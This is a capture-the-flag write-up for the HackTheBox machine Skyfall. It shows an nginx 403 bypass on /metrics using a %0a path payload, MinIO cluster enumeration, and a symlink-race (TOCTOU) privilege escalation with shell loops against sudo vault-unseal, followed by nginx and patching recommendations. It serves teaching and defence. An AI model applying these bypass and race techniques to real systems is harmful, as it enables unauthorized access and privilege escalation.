Skyfall - HackTheBox

Ports 22 (SSH) and 80 (HTTP) are opened. The target machine is running Ubuntu 22.04.

gobuster subdomain enumeration discovered 1 subdomain: demo.skyfall.htb.

From the website we know that Skyfall is a corporation delivers a cloud storage solution. Wappalyzer and tech stack investigation does not return more internal system information.

There are some input forms at the end of the website:

Manual XSS testing and running XSStrike on GET parameters of these forms showing that XSS is not an option, so the next step will be investigating the subdomain demo.skyfall.htb.

There is no LFI in the download function. File upload does not handle code execution on access or transit so there is no vulnerabilities in this endpoint.

Investigating MinIO metrics path /metrics returns 403.

This 403 is not from MinIO but from nginx, this can be bypassed by fuzzing path with special characters (string literals) to confuse nginx parsing rules. Below is one in many working payloads (http://demo.skyfall.htb/metrics%0a):

We got another endpoint showing that Skyfall is running in a distributed scheme, MinIO Cluster in particular (http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster).

Between the time Linux checks and approves the execution of vault-unseal as root (time-of-check) to the moment debug.log is created and written (time-of-use), there exists a race window that is vulnerable to data leak. This race condition attack is called Time-of-Check Time-of-Use (TOCTOU).

We execute this Race Condition idea by exploiting symbolic link (symlink) features of Linux. This particular TOCTOU attack is called "symlink race".

A symlink race is a kind of software security vulnerability that results from a program creating files in an insecure manner. A malicious user can create a symbolic link to a file not otherwise accessible to them. When the privileged program creates a file of the same name as the symbolic link, it creates the linked-to file instead, possibly leaking or inserting content desired by the malicious user.

In our situation, we can exploit the race window between the creation and removal of the symlink. If the symlink is created just before vault-unseal writes to debug.log, cat program can leak debug.log via the symlink, allowing unauthorized access to the log data.

We execute this attack by simultaneously running commands in 3 login instances of askyy@skyfall:

1. The first instance repeatedly creates the debug.log file with askyy user right, symlink it to symlink.log, and remove it.

   Shell

   while true; do
     touch /home/askyy/debug.log;
     ln -sf /home/askyy/debug.log /dev/shm/symlink.log;
     rm /dev/shm/symlink.log;
   done

2. The second instance repeatedly tries to leak the content from the symlink. The master token will be dumped here.

   Shell

   while true; do
     cat /dev/shm/symlink.log;
   done

3. The third instance runs vault-unseal with ---debug option to output to debug.log. We repeatedly and forcefully run this command until the output is leaked.

   Shell

   sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd

If the messed-up asynchronous execution runs in this order, the token will be leaked:

# terminal 1
while true; do
    touch /home/askyy/debug.log;
    ln -sf /home/askyy/debug.log /dev/shm/symlink.log;

    # terminal 3
    sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd

    # terminal 2
    cat /dev/shm/symlink.log;

    # before vault-unseal writes and lock debug.log permission

    # terminal 1
    rm /dev/shm/symlink.log;
done

The leaked Master Token is hvs.I0ewVsmaKU1SwVZAKR3T0mmG

We use this token to authenticate with Vault as admin_otp_key_role to achieve root@skyfall:

Root flag owned.

This section presents suggestions to fix critical vulnerabilities of the Skyfall system.

Update MinIO version

The current MinIO version of Skyfall has a critical CVE that leaks MinIO root credentials, so it is crucial to update MinIO to the latest version as soon as possible.

Principle of least privilege / nginx rules patching

The weakest chain that lead to full system compromise is the 403 bypass to information leak at demo.skyfall.htb/metrics.

MinIO Metrics is an internal features that should not be exposed to whom with insufficient privileges. One can remove it from Flask routes and dashboard template.

We also investigate the nginx configuration. It shows that Skyfall administrator is implementing 403 rules for the location /metrics in a loose way that does not block string literals.

We patch the rules by using regex match to block all trailing string literals.

Fuzzing path with string literals will no longer work after this patch.

Skyfall privilege escalation is educational and allowed me to expand my skillset, toolset and pentesting mindset. Below are some experiences I have gathered upon completing this target.

1. Path fuzzing with string literals to bypass webserver rules.

2. Securing nginx configuration against path fuzzing bypass.

3. Learning new technologies: MinIO, an open-source, S3-compatible object storage server and HashiCorp Vault, a distributed secret/identity management solutions at enterprise scale.

4. Using Race Condition idea (symlink race) to exploit escalated commands.

5. Horizontal navigation after achieving root to investigate all internal information and maintaining access to system.

6. System software and application tech stacks should be updated frequently to eliminate CVE.

7. Principle of least privileges: do not publicly/unnecessarily expose internal system details.